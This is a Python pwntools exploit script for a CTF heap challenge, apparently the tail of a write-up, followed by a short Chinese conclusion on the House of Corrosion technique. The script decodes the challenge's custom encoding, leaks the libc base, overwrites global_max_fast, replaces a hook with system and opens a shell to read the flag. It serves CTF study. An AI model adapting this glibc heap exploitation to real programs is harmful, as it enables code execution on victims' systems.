importbase64frompwnimport*elf=Nonelibc=Nonefile_name="./Maybe_fun_game_3"# context.timeout = 1defget_file(dic=""):context.binary=dic+file_namereturncontext.binarydefget_libc(dic=""):libc=Nonetry:data=os.popen("ldd {}".format(dic+file_name)).read()foriindata.split('\n'):libc_info=i.split("=>")iflen(libc_info)==2:if"libc"inlibc_info[0]:libc_path=libc_info[1].split(' (')iflen(libc_path)==2:libc=ELF(libc_path[0].replace(' ',''),checksec=False)returnlibcexcept:passifcontext.arch=='amd64':libc=ELF("/home/cnitlrt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6",checksec=False)elifcontext.arch=='i386':try:libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)except:libc=ELF("/lib32/libc.so.6",checksec=False)returnlibcdefget_sh(Use_other_libc=False,Use_ssh=False):globallibcifargs['REMOTE']:ifUse_other_libc:libc=ELF("./libc.so.6",checksec=False)ifUse_ssh:s=ssh(sys.argv[3],sys.argv[1],sys.argv[2],sys.argv[4])returns.process(file_name)else:if":"insys.argv[1]:r=sys.argv[1].split(':')returnremote(r[0],int(r[1]))returnremote(sys.argv[1],int(sys.argv[2]))else:returnprocess(file_name)defget_address(sh,libc=False,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):ifstart_string!=None:sh.recvuntil(start_string)iflibc==True:ifinfo==None:info='libc_base:\t'return_address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))elifint_mode:return_address=int(sh.recvuntil(end_string,drop=True),16)elifaddress_len!=None:return_address=u64(sh.recv()[:address_len].ljust(8,'\x00'))elifcontext.arch=='amd64':return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))else:return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))ifoffset!=None:return_address=return_address+offsetifinfo!=None:log.success(info+str(hex(return_address)))returnreturn_addressdefget_flag(sh):try:sh.recvrepeat(0.1)sh.sendline('cat flag')returnsh.recvrepeat(0.3)exceptEOFError:return""defget_gdb(sh,addr=None,gdbscript=None,stop=False):ifargs['REMOTE']:returnifgdbscriptisnotNone:gdb.attach(sh,gdbscript)elifaddrisnotNone:gdb.attach(sh,'b *$rebase('+hex(addr)+")")else:gdb.attach(sh)ifstop:raw_input()defAttack(target=None,elf=None,libc=None):globalshifshisNone:fromClass.TargetimportTargetasserttargetisnotNoneassertisinstance(target,Target)sh=target.shelf=target.elflibc=target.libcassertisinstance(elf,ELF)assertisinstance(libc,ELF)try_count=0whiletry_count<30:try_count+=1try:pwn(sh,elf,libc)breakexceptKeyboardInterrupt:breakexceptEOFError:sh.close()iftargetisnotNone:sh=target.get_sh()target.sh=shiftarget.connect_fail:return'ERROR : Can not connect to target server!'else:sh=get_sh()flag=get_flag(sh)returnflagdefdecode(data):printdatatry:t=base64.b64decode(data)assertt[:8]=='wwnalnal'size=u64(t[8:0x10])t=t[0x10:]foriinrange(0xFE,0x4F,-2):rnd1=ord(t[i+1:i+2])rnd2=ord(t[rnd1:rnd1+1])t=t[:rnd1]+t[rnd1+1:i+1]+'\xFF'+t[i+1:]forjinrange(i):t=t[:j]+chr(ord(t[j:j+1])^rnd2)+t[j+1:]returnt[:size]except:passdefencode_data(data):t=data.ljust(0x100,'\xFF')foriinrange(0x50,0x100,2):rnd1=0rnd2=0t=t[:i]+chr(rnd1)+t[i+1:]forjinrange(i):t=t[:j]+chr(ord(t[j:j+1])^rnd2)+t[j+1:]t=t[:rnd1]+chr(rnd2)+t[rnd1:i+1]+t[i+2:]returntdefencode(data):returnbase64.b64encode(p64(0x6C616E6C616E7777)+p64(len(data))+encode_data(data).ljust(0x100,'\xFF'))defpack_struct(data):returnbase64.b64encode(p64(0x6C616E6C616E7777)+p64(0x0)+data)defgetline():returndecode(sh.recvline())defrecvuntil(t):try:whileTrue:data=getline()ifdata==None:raiseEOFErrorprintdataiftindata:returnexcept:passdefsenddata(t,type=1):iftype==0:data=pack_struct(t)else:data=encode(t)sh.sendline(data)defchoice(idx):recvuntil('Choice')senddata(str(idx))defadd(size,content):choice(1)recvuntil('[Create]Size?')senddata(str(size))recvuntil('[Create]Content?')senddata(content,0)recvuntil('[Create]Done!')defdelete(idx):choice(2)recvuntil('[Delete]Index?')senddata(str(idx))recvuntil('[Delete]Done!')defedit(idx,content):choice(3)recvuntil('[Edit]Index?')senddata(str(idx))recvuntil('[Edit]Content?')senddata(content,0)recvuntil('[Edit]Done!')defshow(idx):choice(4)recvuntil('[Query]Index?')senddata(str(idx))returngetline()defpwn(sh,elf,libc):# context.log_level = "debug"sh.recvuntil('>>>>>>>>>>>>>>>>>>>>>\n')add(0x18,'a'*0x100)add(0x4f,encode_data('a'*0x18))add(0x18,'\xE8'*0x100)choice(5)recvuntil('[backdoor_msg]Size?')senddata(str(0x3918))edit(1,'\x00'*0x50+'\xE8'*0x50)delete(1)edit(2,'\xE8'*0x100)show(2)leak_data=show(1)log.hexdump(leak_data)leak_idx=leak_data.find('\x7f')ifleak_idx<5:leak_idx=leak_data.find('\x7f')libc_base=u64(leak_data[leak_idx-5:leak_idx+1].ljust(8,'\x00'))-0x3c4b78iflibc_base&0xfff!=0:raiseEOFErrorlog.success("libc_base:\t"+hex(libc_base))pause()global_max_fast=libc_base+0x3c67f8system_addr=libc_base+0x453a0edit(1,p64(libc_base+0x3c4b78)+p64(global_max_fast-0x10))add(0x18,'a'*0x100)# 3edit(3,p64(libc_base+0x3c4b78)*2)edit(0,"/bin/sh\x00"*2)choice(5)choice(5)recvuntil('[backdoor_msg]Content?')senddata(p64(system_addr)*2,0)choice(5)choice(2)recvuntil('[Delete]Index?')senddata(str(0))sh.interactive()if__name__=="__main__":sh=get_sh()flag=Attack(elf=get_file(),libc=get_libc())sh.close()ifflag!="":log.success('The flag is '+re.search(r'flag{.+}',flag).group())
总结
House of Corrosion 的利用思想还是在 LIBC 附近写堆地址,但是这种方法通过这样一种相对位置的方式来把 LIBC 偏移给抵消了,并且通过一定的爆破,降低了在初步攻击时所需要的条件,这样的简单方便的利用方法还有很多开发的空间,值得大家进一步的学习和挖掘。